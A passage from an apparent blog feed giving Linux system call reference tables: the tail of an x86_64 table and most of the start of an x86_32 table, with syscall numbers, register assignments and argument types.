vlen</td><td style="text-align:center">unsigned long pos_l</td><td style="text-align:center">unsigned long pos_h</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">296</td><td style="text-align:center">sys_pwritev</td><td style="text-align:center">128</td><td style="text-align:center">unsigned long fd</td><td style="text-align:center">const struct iovec *vec</td><td style="text-align:center">unsigned long vlen</td><td style="text-align:center">unsigned long pos_l</td><td style="text-align:center">unsigned long pos_h</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">297</td><td style="text-align:center">sys_rt_tgsigqueueinfo</td><td style="text-align:center">129</td><td style="text-align:center">pid_t tgid</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">int sig</td><td style="text-align:center">siginfo_t *uinfo</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">298</td><td style="text-align:center">sys_perf_event_open</td><td style="text-align:center">12A</td><td style="text-align:center">struct perf_event_attr *attr_uptr</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">int cpu</td><td style="text-align:center">int group_fd</td><td style="text-align:center">unsigned long flags</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">299</td><td style="text-align:center">sys_recvmmsg</td><td style="text-align:center">12B</td><td style="text-align:center">int fd</td><td style="text-align:center">struct msghdr *mmsg</td><td style="text-align:center">unsigned int vlen</td><td style="text-align:center">unsigned int flags</td><td style="text-align:center">struct timespec *timeout</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">300</td><td style="text-align:center">sys_fanotify_init</td><td style="text-align:center">12C</td><td style="text-align:center">unsigned int flags</td><td style="text-align:center">unsigned int event_f_flags</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">301</td><td style="text-align:center">sys_fanotify_mark</td><td style="text-align:center">12D</td><td style="text-align:center">long fanotify_fd</td><td style="text-align:center">long flags</td><td style="text-align:center">__u64 mask</td><td style="text-align:center">long dfd</td><td style="text-align:center">long pathname</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">302</td><td style="text-align:center">sys_prlimit64</td><td style="text-align:center">12E</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">unsigned int resource</td><td style="text-align:center">const struct rlimit64 *new_rlim</td><td style="text-align:center">struct rlimit64 *old_rlim</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">303</td><td style="text-align:center">sys_name_to_handle_at</td><td style="text-align:center">12F</td><td style="text-align:center">int dfd</td><td style="text-align:center">const char *name</td><td style="text-align:center">struct file_handle *handle</td><td style="text-align:center">int *mnt_id</td><td style="text-align:center">int flag</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">304</td><td style="text-align:center">sys_open_by_handle_at</td><td style="text-align:center">130</td><td style="text-align:center">int dfd</td><td style="text-align:center">const char *name</td><td style="text-align:center">struct file_handle *handle</td><td style="text-align:center">int *mnt_id</td><td style="text-align:center">int flags</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">305</td><td style="text-align:center">sys_clock_adjtime</td><td style="text-align:center">131</td><td style="text-align:center">clockid_t which_clock</td><td style="text-align:center">struct timex *tx</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">306</td><td style="text-align:center">sys_syncfs</td><td style="text-align:center">132</td><td style="text-align:center">int fd</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">307</td><td style="text-align:center">sys_sendmmsg</td><td style="text-align:center">133</td><td style="text-align:center">int fd</td><td style="text-align:center">struct mmsghdr *mmsg</td><td style="text-align:center">unsigned int vlen</td><td style="text-align:center">unsigned int flags</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">308</td><td style="text-align:center">sys_setns</td><td style="text-align:center">134</td><td style="text-align:center">int fd</td><td style="text-align:center">int nstype</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">309</td><td style="text-align:center">sys_getcpu</td><td style="text-align:center">135</td><td style="text-align:center">unsigned *cpup</td><td style="text-align:center">unsigned *nodep</td><td style="text-align:center">struct getcpu_cache *unused</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">310</td><td style="text-align:center">sys_process_vm_readv</td><td style="text-align:center">136</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">const struct iovec *lvec</td><td style="text-align:center">unsigned long liovcnt</td><td style="text-align:center">const struct iovec *rvec</td><td style="text-align:center">unsigned long riovcnt</td><td style="text-align:center">unsigned long flags</td></tr><tr><td style="text-align:center">311</td><td style="text-align:center">sys_process_vm_writev</td><td style="text-align:center">137</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">const struct iovec *lvec</td><td style="text-align:center">unsigned long liovcnt</td><td style="text-align:center">const struct iovcc *rvec</td><td style="text-align:center">unsigned long riovcnt</td><td style="text-align:center">unsigned long flags</td></tr></tbody></table>]]></content>
    
    
      
      
    <summary type="html">&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;text-align:center&quot;&gt;syscall number&lt;/th&gt;
&lt;th style=&quot;text-align:center&quot;&gt;syscall&lt;/th&gt;
&lt;th style=&quot;text-align:cent</summary>
      
    
    
    
    <category term="Pwn2Own" scheme="http://www.4x7.fun/categories/Pwn2Own/"/>
    
    
    <category term="System Call Table" scheme="http://www.4x7.fun/tags/System-Call-Table/"/>
    
    <category term="x86_64" scheme="http://www.4x7.fun/tags/x86-64/"/>
    
  </entry>
  
  <entry>
    <title>System Call Table - x86_32</title>
    <link href="http://www.4x7.fun/2022/04/13/System-Call-Table-x86-32/"/>
    <id>http://www.4x7.fun/2022/04/13/System-Call-Table-x86-32/</id>
    <published>2022-04-13T11:50:39.000Z</published>
    <updated>2022-04-20T03:56:32.000Z</updated>
    
    <content type="html"><![CDATA[<table><thead><tr><th style="text-align:center">NR</th><th style="text-align:center">syscall</th><th style="text-align:center">%eax</th><th style="text-align:center">arg0 (%ebx)</th><th style="text-align:center">arg1 (%ecx)</th><th style="text-align:center">arg2 (%edx)</th><th style="text-align:center">arg3 (%esi)</th><th style="text-align:center">arg4 (%edi)</th><th style="text-align:center">arg5 (%ebp)</th></tr></thead><tbody><tr><td style="text-align:center">0</td><td style="text-align:center">restart_syscall</td><td style="text-align:center">0</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">1</td><td style="text-align:center">exit</td><td style="text-align:center">1</td><td style="text-align:center">int error_code</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">2</td><td style="text-align:center">fork</td><td style="text-align:center">2</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">3</td><td style="text-align:center">read</td><td style="text-align:center">3</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">char *buf</td><td style="text-align:center">size_t count</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">4</td><td style="text-align:center">write</td><td style="text-align:center">4</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">const char *buf</td><td style="text-align:center">size_t count</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">5</td><td style="text-align:center">open</td><td style="text-align:center">5</td><td style="text-align:center">const char *filename</td><td style="text-align:center">int flags</td><td style="text-align:center">umode_t mode</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">6</td><td style="text-align:center">close</td><td style="text-align:center">6</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">7</td><td style="text-align:center">waitpid</td><td style="text-align:center">7</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">int *stat_addr</td><td style="text-align:center">int options</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">8</td><td style="text-align:center">creat</td><td style="text-align:center">8</td><td style="text-align:center">const char *pathname</td><td style="text-align:center">umode_t mode</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">9</td><td style="text-align:center">link</td><td style="text-align:center">9</td><td style="text-align:center">const char *oldname</td><td style="text-align:center">const char *newname</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">10</td><td style="text-align:center">unlink</td><td style="text-align:center">A</td><td style="text-align:center">const char *pathname</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">11</td><td style="text-align:center">execve</td><td style="text-align:center">B</td><td style="text-align:center">const char *filename</td><td style="text-align:center">const char *const *argv</td><td style="text-align:center">const char *const *envp</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">12</td><td style="text-align:center">chdir</td><td style="text-align:center">C</td><td style="text-align:center">const char *filename</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">13</td><td style="text-align:center">time</td><td style="text-align:center">D</td><td style="text-align:center">time_t *tloc</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">14</td><td style="text-align:center">mknod</td><td style="text-align:center">E</td><td style="text-align:center">const char *filename</td><td style="text-align:center">umode_t mode</td><td style="text-align:center">unsigned dev</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">15</td><td style="text-align:center">chmod</td><td style="text-align:center">F</td><td style="text-align:center">const char *filename</td><td style="text-align:center">umode_t mode</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">16</td><td style="text-align:center">lchown</td><td style="text-align:center">10</td><td style="text-align:center">const char *filename</td><td style="text-align:center">uid_t user</td><td style="text-align:center">gid_t group</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">17</td><td style="text-align:center">break</td><td style="text-align:center">11</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">18</td><td style="text-align:center">oldstat</td><td style="text-align:center">12</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">19</td><td style="text-align:center">lseek</td><td style="text-align:center">13</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">off_t offset</td><td style="text-align:center">unsigned int whence</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">20</td><td style="text-align:center">getpid</td><td style="text-align:center">14</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">21</td><td style="text-align:center">mount</td><td style="text-align:center">15</td><td style="text-align:center">char *dev_name</td><td style="text-align:center">char *dir_name</td><td style="text-align:center">char *type</td><td style="text-align:center">unsigned long flags</td><td style="text-align:center">void *data</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">22</td><td style="text-align:center">umount</td><td style="text-align:center">16</td><td style="text-align:center">char *name</td><td style="text-align:center">int flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">23</td><td style="text-align:center">setuid</td><td style="text-align:center">17</td><td style="text-align:center">uid_t uid</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">24</td><td style="text-align:center">getuid</td><td style="text-align:center">18</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">25</td><td style="text-align:center">stime</td><td style="text-align:center">19</td><td style="text-align:center">time_t *tptr</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">26</td><td style="text-align:center">ptrace</td><td style="text-align:center">1A</td><td style="text-align:center">long request</td><td style="text-align:center">long pid</td><td style="text-align:center">unsigned long addr</td><td style="text-align:center">unsigned long data</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">27</td><td style="text-align:center">alarm</td><td style="text-align:center">1B</td><td style="text-align:center">unsigned int seconds</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">28</td><td style="text-align:center">oldfstat</td><td style="text-align:center">1C</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">29</td><td style="text-align:center">pause</td><td style="text-align:center">1D</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">30</td><td style="text-align:center">utime</td><td style="text-align:center">1E</td><td style="text-align:center">char *filename</td><td style="text-align:center">struct utimbuf *times</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">31</td><td style="text-align:center">stty</td><td style="text-align:center">1F</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">32</td><td style="text-align:center">gtty</td><td style="text-align:center">20</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">33</td><td style="text-align:center">access</td><td style="text-align:center">21</td><td style="text-align:center">const char *filename</td><td style="text-align:center">int mode</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">34</td><td style="text-align:center">nice</td><td style="text-align:center">22</td><td style="text-align:center">int increment</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">35</td><td style="text-align:center">ftime</td><td style="text-align:center">23</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">36</td><td style="text-align:center">sync</td><td style="text-align:center">24</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">37</td><td style="text-align:center">kill</td><td style="text-align:center">25</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">int sig</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">38</td><td style="text-align:center">rename</td><td style="text-align:center">26</td><td style="text-align:center">const char *oldname</td><td style="text-align:center">const char *newname</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">39</td><td style="text-align:center">mkdir</td><td style="text-align:center">27</td><td style="text-align:center">const char *pathname</td><td style="text-align:center">umode_t mode</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">40</td><td style="text-align:center">rmdir</td><td style="text-align:center">28</td><td style="text-align:center">const char *pathname</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">41</td><td style="text-align:center">dup</td><td style="text-align:center">29</td><td style="text-align:center">unsigned int fildes</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">42</td><td style="text-align:center">pipe</td><td style="text-align:center">2A</td><td style="text-align:center">int *fildes</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">43</td><td style="text-align:center">times</td><td style="text-align:center">2B</td><td style="text-align:center">struct tms *tbuf</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">44</td><td style="text-align:center">prof</td><td style="text-align:center">2C</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">45</td><td style="text-align:center">brk</td><td style="text-align:center">2D</td><td style="text-align:center">unsigned long brk</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">46</td><td style="text-align:center">setgid</td><td style="text-align:center">2E</td><td style="text-align:center">gid_t gid</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">47</td><td style="text-align:center">getgid</td><td style="text-align:center">2F</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">48</td><td style="text-align:center">signal</td><td style="text-align:center">30</td><td style="text-align:center">int sig</td><td style="text-align:center">__sighandler_t handler</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">49</td><td style="text-align:center">geteuid</td><td style="text-align:center">31</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">50</td><td style="text-align:center">getegid</td><td style="text-align:center">32</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">51</td><td style="text-align:center">acct</td><td style="text-align:center">33</td><td style="text-align:center">const char *name</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">52</td><td style="text-align:center">umount2</td><td style="text-align:center">34</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">53</td><td style="text-align:center">lock</td><td style="text-align:center">35</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">54</td><td style="text-align:center">ioctl</td><td style="text-align:center">36</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">unsigned int cmd</td><td style="text-align:center">unsigned long arg</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">55</td><td style="text-align:center">fcntl</td><td style="text-align:center">37</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">unsigned int cmd</td><td style="text-align:center">unsigned long arg</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">56</td><td style="text-align:center">mpx</td><td style="text-align:center">38</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">57</td><td style="text-align:center">setpgid</td><td style="text-align:center">39</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">pid_t pgid</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">58</td><td style="text-align:center">ulimit</td><td style="text-align:center">3A</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">59</td><td style="text-align:center">oldolduname</td><td style="text-align:center">3B</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">60</td><td style="text-align:center">umask</td><td style="text-align:center">3C</td><td style="text-align:center">int mask</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">61</td><td style="text-align:center">chroot</td><td style="text-align:center">3D</td><td style="text-align:center">const char *filename</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">62</td><td style="text-align:center">ustat</td><td style="text-align:center">3E</td><td style="text-align:center">unsigned dev</td><td style="text-align:center">struct ustat *ubuf</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">63</td><td style="text-align:center">dup2</td><td style="text-align:center">3F</td><td style="text-align:center">unsigned int oldfd</td><td style="text-align:center">unsigned int newfd</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">64</td><td style="text-align:center">getppid</td><td style="text-align:center">40</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">65</td><td style="text-align:center">getpgrp</td><td style="text-align:center">41</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">66</td><td style="text-align:center">setsid</td><td style="text-align:center">42</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">67</td><td style="text-align:center">sigaction</td><td style="text-align:center">43</td><td style="text-align:center">int</td><td style="text-align:center">const struct old_sigaction *</td><td style="text-align:center">struct old_sigaction *</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">68</td><td style="text-align:center">sgetmask</td><td style="text-align:center">44</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">69</td><td style="text-align:center">ssetmask</td><td style="text-align:center">45</td><td style="text-align:center">int newmask</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">70</td><td style="text-align:center">setreuid</td><td style="text-align:center">46</td><td style="text-align:center">uid_t ruid</td><td style="text-align:center">uid_t euid</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">71</td><td style="text-align:center">setregid</td><td style="text-align:center">47</td><td style="text-align:center">gid_t rgid</td><td style="text-align:center">gid_t egid</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">72</td><td style="text-align:center">sigsuspend</td><td style="text-align:center">48</td><td style="text-align:center">int unused1</td><td style="text-align:center">int unused2</td><td style="text-align:center">old_sigset_t mask</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">73</td><td style="text-align:center">sigpending</td><td style="text-align:center">49</td><td style="text-align:center">old_sigset_t *uset</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">74</td><td style="text-align:center">sethostname</td><td style="text-align:center">4A</td><td style="text-align:center">char *name</td><td style="text-align:center">int len</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">75</td><td style="text-align:center">setrlimit</td><td style="text-align:center">4B</td><td style="text-align:center">unsigned int resource</td><td style="text-align:center">struct rlimit *rlim</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">76</td><td style="text-align:center">getrlimit</td><td style="text-align:center">4C</td><td style="text-align:center">unsigned int resource</td><td style="text-align:center">struct rlimit *rlim</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">77</td><td style="text-align:center">getrusage</td><td style="text-align:center">4D</td><td style="text-align:center">int who</td><td style="text-align:center">struct rusage *ru</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">78</td><td style="text-align:center">gettimeofday</td><td style="text-align:center">4E</td><td style="text-align:center">struct timeval *tv</td><td style="text-align:center">struct timezone *tz</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">79</td><td style="text-align:center">settimeofday</td><td style="text-align:center">4F</td><td style="text-align:center">struct timeval *tv</td><td style="text-align:center">struct timezone *tz</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">80</td><td style="text-align:center">getgroups</td><td style="text-align:center">50</td><td style="text-align:center">int gidsetsize</td><td style="text-align:center">gid_t *grouplist</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">81</td><td style="text-align:center">setgroups</td><td style="text-align:center">51</td><td style="text-align:center">int gidsetsize</td><td style="text-align:center">gid_t *grouplist</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">82</td><td style="text-align:center">select</td><td style="text-align:center">52</td><td style="text-align:center">int n</td><td style="text-align:center">fd_set *inp</td><td style="text-align:center">fd_set *outp</td><td style="text-align:center">fd_set *exp</td><td style="text-align:center">struct timeval *tvp</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">83</td><td style="text-align:center">symlink</td><td style="text-align:center">53</td><td style="text-align:center">const char *old</td><td style="text-align:center">const char *new</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">84</td><td style="text-align:center">oldlstat</td><td style="text-align:center">54</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">85</td><td style="text-align:center">readlink</td><td style="text-align:center">55</td><td style="text-align:center">const char *path</td><td style="text-align:center">char *buf</td><td style="text-align:center">int bufsiz</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">86</td><td style="text-align:center">uselib</td><td style="text-align:center">56</td><td style="text-align:center">const char *library</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">87</td><td style="text-align:center">swapon</td><td style="text-align:center">57</td><td style="text-align:center">const char *specialfile</td><td style="text-align:center">int swap_flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">88</td><td style="text-align:center">reboot</td><td style="text-align:center">58</td><td style="text-align:center">int magic1</td><td style="text-align:center">int magic2</td><td style="text-align:center">unsigned int cmd</td><td style="text-align:center">void *arg</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td 